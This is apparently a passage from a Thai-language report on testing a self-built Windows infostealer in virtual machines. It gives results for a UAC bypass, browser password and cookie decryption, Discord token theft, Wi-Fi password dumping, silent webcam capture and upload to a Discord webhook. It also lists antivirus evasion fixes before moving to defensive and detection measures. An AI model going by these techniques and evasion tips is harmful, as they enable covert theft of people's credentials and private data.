→ split by ";" → filter ".ROBLOSECURITY" cookie
→ บันทึก Cookies.txt
Geometry Dash:
CCGameManager.dat → เก็บ account info, settings
CCLocalLevels.dat → เก็บ levels ที่สร้าง
→ ใช้ https://gdcolon.com/gdsave/ แปลงข้อมูล
การทดสอบทั้งหมดดำเนินการใน Virtual Machine แบบ Isolated บน 2 สภาพแวดล้อม:
| Environment | OS | Build | Browser Setup | AV |
|---|---|---|---|---|
| Test Env A | Windows 10 | 22H2 (19045) | Chrome 126, Firefox 127, Edge 124 | Windows Defender (default) |
| Test Env B | Windows 11 | 23H2 (22631) | Chrome 131, Firefox 131, Brave 1.71 | Windows Defender + Controlled Folder Access |
| เงื่อนไขการทดสอบ | ผลลัพธ์ | หมายเหตุ |
|---|---|---|
| Windows 10, UAC ระดับ Default | ✅ สำเร็จ | ไม่แสดง UAC dialog |
| Windows 11, UAC ระดับ Default | ✅ สำเร็จ | ไม่แสดง UAC dialog |
| Windows 10, UAC ระดับสูงสุด ("Always notify") | ❌ ล้มเหลว | Fallback → ShellExecuteW แสดง dialog |
| Windows 11 + Defender SmartScreen | ⚠️ ถูก block | ต้องการ code signing หรือ packer |
| Windows 11 + Credential Guard เปิด | ❌ LSASS impersonation ล้มเหลว | v20 key ถอดรหัสไม่ได้ |
สรุป: ช่องโหว่นี้ยังใช้งานได้บน Windows 10/11 เมื่อค่า UAC อยู่ในระดับ Default หรือต่ำกว่า ซึ่งเป็นค่าเริ่มต้นของ Windows ส่วนใหญ่ที่ผู้ใช้ทั่วไปไม่ได้ปรับเปลี่ยน
| Browser | Version | v10/v11 | v20 | หมายเหตุ |
|---|---|---|---|---|
| Google Chrome | 126 | ✅ 100% | N/A | ก่อน App-Bound |
| Google Chrome | 127–131 | ✅ 100% | ✅ สำเร็จ (ต้องการ LSASS) | App-Bound เปิดใช้แล้ว |
| Microsoft Edge | 124 | ✅ 100% | ✅ สำเร็จ | namespace: "Microsoft Edgekey1" |
| Brave Browser | 1.71 | ✅ 100% | ⚠️ บางกรณี | ขึ้นกับ build |
| Opera / Opera GX | latest | ✅ 100% | ✅ สำเร็จ | path แตกต่าง: ไม่มี profile subfolder |
| Vivaldi | latest | ✅ 100% | ✅ สำเร็จ | — |
| Yandex Browser | latest | ✅ 100% | ⚠️ บางกรณี | — |
| Browser | ผลลัพธ์ | หมายเหตุ |
|---|---|---|
| Firefox 131 | ✅ สำเร็จ | NSS_Init + PK11SDR_Decrypt ทำงานได้ |
| LibreWolf | ✅ สำเร็จ | ใช้ Firefox profile structure เดียวกัน |
| Waterfox | ✅ สำเร็จ | — |
| Zen Browser | ⚠️ บางส่วน | nss3.dll path อาจต่างไป |
| Pale Moon | ⚠️ บางส่วน | ใช้ NSS เวอร์ชันเก่า |
| ประเภทข้อมูล | จำนวน | ขนาด |
|---|---|---|
| Saved Passwords | ~45 รายการ | ~12 KB |
| Cookies | ~1,200 รายการ | ~380 KB |
| Autofill | ~30 รายการ | ~8 KB |
| Browsing History | ~8,500 URL | ~2.1 MB |
| Credit Cards | 0 รายการ | — |
| Discord Tokens | 2 token | valid ทั้งคู่ |
| Wi-Fi Networks | 8 network | password ครบ 6/8 |
| ขั้นตอน | ผลลัพธ์ |
|---|---|
| Token discovery (LevelDB scan) | พบ 4 token |
| Token validation (API call) | Valid 2, Invalid/Expired 2 |
| User info retrieval | ✅ สำเร็จ 100% สำหรับ valid token |
| Billing info retrieval | ✅ สำเร็จ (Nitro, payment methods) |
| Avatar URL generation | ✅ สำเร็จ |
| เงื่อนไข | ผลลัพธ์ |
|---|---|
| USB Webcam (index 0) | ✅ บันทึกภาพ .bmp ได้สำเร็จ |
| Built-in Laptop Camera | ✅ สำเร็จ (ไม่มี notification) |
| ไม่มี Webcam | ✅ Loop หยุดที่ index 0 ไม่ error |
| Webcam ถูกใช้งานโดย process อื่น | ❌ ล้มเหลว — WM_CAP_DRIVER_CONNECT return False |
| โฟลเดอร์ | จำนวนไฟล์ที่พบ | จำนวนที่ copy |
|---|---|---|
| Desktop | 12 ไฟล์ | 8 ไฟล์ |
| Downloads | 45 ไฟล์ | 6 ไฟล์ |
| Documents | 128 ไฟล์ | 15 ไฟล์ |
| Pictures | 200+ ไฟล์ | 3 ไฟล์ |
| รวม | — | 32 ไฟล์ / ~18 MB |
| ขั้นตอน | เวลา (Test Env A) | เวลา (Test Env B) |
|---|---|---|
| UAC Bypass | 2.1 วินาที | 2.8 วินาที |
| Browser kill | 1.0 วินาที | 1.0 วินาที |
| Master key extraction (v10/v11) | 0.3 วินาที | 0.3 วินาที |
| Master key extraction (v20 + LSASS) | 4.2 วินาที | 5.1 วินาที |
| Password decryption (45 passwords) | 0.8 วินาที | 0.9 วินาที |
| Cookie extraction (1200 cookies) | 12.3 วินาที | 14.1 วินาที |
| History (8500 URLs) | 3.2 วินาที | 3.8 วินาที |
| Discord token scan + validation | 8.4 วินาที | 9.2 วินาที |
| Wi-Fi password extraction | 2.1 วินาที | 2.3 วินาที |
| Webcam capture | 1.5 วินาที | 1.7 วินาที |
| Screenshot | 0.4 วินาที | 0.4 วินาที |
| Personal files (32 files) | 6.2 วินาที | 7.1 วินาที |
| ZIP compression (~22 MB) | 4.8 วินาที | 5.3 วินาที |
| Upload to webhook (~22 MB) | 18.5 วินาที | 21.2 วินาที |
| รวมทั้งหมด | ~65 วินาที | ~75 วินาที |
| AV Solution | Detection | หมายเหตุ |
|---|---|---|
| Windows Defender (ไม่มี obfuscation) | ✅ ตรวจพบ 100% | signature match |
| Windows Defender (PyInstaller + UPX) | ⚠️ ตรวจพบ 70% | heuristic partial |
| Windows Defender + AMSI | ✅ ตรวจพบ LSASS access | behavioral detection |
| Kaspersky (trial) | ✅ ตรวจพบ 100% | — |
| Malwarebytes | ✅ ตรวจพบ | Rootkit.LSASS pattern |
| ปัญหา | สาเหตุ | แนวทางแก้ไข |
|---|---|---|
| v20 ถอดรหัสไม่ได้บาง build | hardcoded key อาจเปลี่ยนตาม Chrome build | ต้องหา key ใหม่ต่อ version |
| Firefox nss3.dll ไม่พบ | path ต่างกันตาม installation | เพิ่ม path detection dynamic |
| LSASS impersonation ล้มเหลวเมื่อ Credential Guard เปิด | Credential Guard ป้องกัน LSASS access | ต้องการ kernel-level bypass |
| AV ตรวจจับ LSASS access pattern | EDR behavioral rule | ใช้ indirect LSASS access หรือ custom SSP |
| Cookie ขนาดใหญ่ทำให้ ZIP ใหญ่เกินไป | History มี URL จำนวนมาก | จำกัด cookie/history จำนวน |
จากผลการทดสอบทั้งหมด สามารถสรุปมาตรการป้องกันที่มีประสิทธิภาพได้ดังนี้:
| มาตรการ | ป้องกัน | วิธีการ |
|---|---|---|
| ตั้งค่า UAC = Always Notify | UAC Bypass | Control Panel → User Account Control → สูงสุด |
| เปิด Credential Guard | LSASS Impersonation | Windows Security → Device Security → Core Isolation |
| เปิด Protected Process Light (PPL) สำหรับ LSASS | LSASS Access | HKLM\SYSTEM\CurrentControlSet\Control\Lsa → RunAsPPL=1 |
| เปิด Attack Surface Reduction (ASR) Rules | หลายเทคนิค | Defender → Exploit Protection → ASR |
| เปิด Windows Defender Credential Guard | DPAPI bypass | Group Policy → Credential Guard |
| มาตรการ | ป้องกัน |
|---|---|
| อัปเดต Chrome เป็น 127+ (App-Bound Encryption) | v10/v11 standard decryption |
| ใช้ Password Manager แยกต่างหาก (Bitwarden, KeePass) | Browser-saved passwords |
| เปิด Biometric authentication สำหรับ Password Manager | Token theft |
| ล้าง cookies เมื่อปิด browser | Cookie hijacking |
| ใช้ hardware security key (FIDO2) แทน password | Credential stuffing |
| มาตรการ | เหตุการณ์ที่ตรวจสอบ |
|---|---|
| ตรวจสอบ LSASS process access (Event ID 10) | LSASS impersonation |
ตรวจสอบ HKCU\Software\Classes\ms-settings การเปลี่ยนแปลง |
UAC bypass |
ตรวจสอบ netsh wlan show profiles key=clear |
Wi-Fi credential theft |
| ตรวจสอบ PowerShell script execution logging | Data collection via PS |
| ตรวจสอบ network traffic ไป Discord Webhook endpoints | Exfiltration |
Microsoft Corporation. (2024). User Account Control: How UAC Works. Microsoft Documentation. https://learn.microsoft.com/en-us/windows/security/application-security/application-control/user-account-control/how-it-works
Microsoft Corporation. (2024). NCrypt API Reference: NCryptDecrypt, NCryptOpenKey, NCryptOpenStorageProvider. Windows Win32 API Documentation. https://learn.microsoft.com/en-us/windows/win32/api/ncrypt/
Microsoft Corporation. (2024). CryptUnprotectData function — Data Protection API (DPAPI). Windows Win32 API Documentation. https://learn.microsoft.com/en-us/windows/win32/api/dpapi/nf-dpapi-cryptunprotectdata
Google Security Blog. (2024, July). Improving the security of Chrome cookies on Windows. Google Security Blog. https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
MITRE ATT&CK. (2024). T1548.002: Abuse Elevation Control Mechanism — Bypass User Account Control. MITRE ATT&CK Framework. https://attack.mitre.org/techniques/T1548/002/
MITRE ATT&CK. (2024). T1555.003: Credentials from Password Stores — Credentials from Web Browsers. MITRE ATT&CK Framework. https://attack.mitre.org/techniques/T1555/003/
MITRE ATT&CK. (2024). T1003.001: OS Credential Dumping — LSASS Memory. MITRE ATT&CK Framework. https://attack.mitre.org/techniques/T1003/001/
MITRE ATT&CK. (2024). T1041: Exfiltration Over C2 Channel. MITRE ATT&CK Framework. https://attack.mitre.org/techniques/T1041/
Mozilla Foundation. (2024). NSS Reference — PK11SDR_Decrypt. Mozilla Developer Documentation. https://firefox-source-docs.mozilla.org/security/nss/legacy/reference/nss_cryptographic_module/index.html
NIST. (2007). Special Publication 800-38D: Recommendation for Block Cipher Modes of Operation: Galois/Counter Mode (GCM) and GMAC. National Institute of Standards and Technology. https://csrc.nist.gov/publications/detail/sp/800-38d/final
Microsoft Corporation. (2024). Credential Guard Overview. Microsoft Security Documentation. https://learn.microsoft.com/en-us/windows/security/identity-protection/credential-guard/
Microsoft Corporation. (2024). Attack Surface Reduction (ASR) Rules Reference. Microsoft Defender for Endpoint Documentation. https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference
Discord Inc. (2024). Discord Developer Documentation: Users Resource. Discord Developer Portal. https://discord.com/developers/docs/resources/user
Verizon. (2024). 2024 Data Breach Investigations Report (DBIR). Verizon Business. https://www.verizon.com/business/resources/reports/dbir/
Chromium Project. (2024). os_crypt: Operating System Encryption Component. Chromium Source Code. https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/
Rubeus / GhostPack. (2023). Token Impersonation and Pass-the-Token Techniques. GitHub. https://github.com/GhostPack/Rubeus
Chen, X., & Sim, K. (2023). Analysis of Information-Stealing Malware: RedLine, Raccoon, and Vidar. SANS Institute Reading Room. https://www.sans.org/reading-room/
Kaspersky Lab. (2024). Infostealer Malware Report Q1 2024. Kaspersky Threat Intelligence Portal. https://securelist.com/
Python Software Foundation. (2024). Python 3.12 Documentation: ctypes — A foreign function library for Python. Python Docs. https://docs.python.org/3/library/ctypes.html
Mandiant / Google Cloud. (2024). M-Trends 2024: Special Report. Mandiant. https://www.mandiant.com/m-trends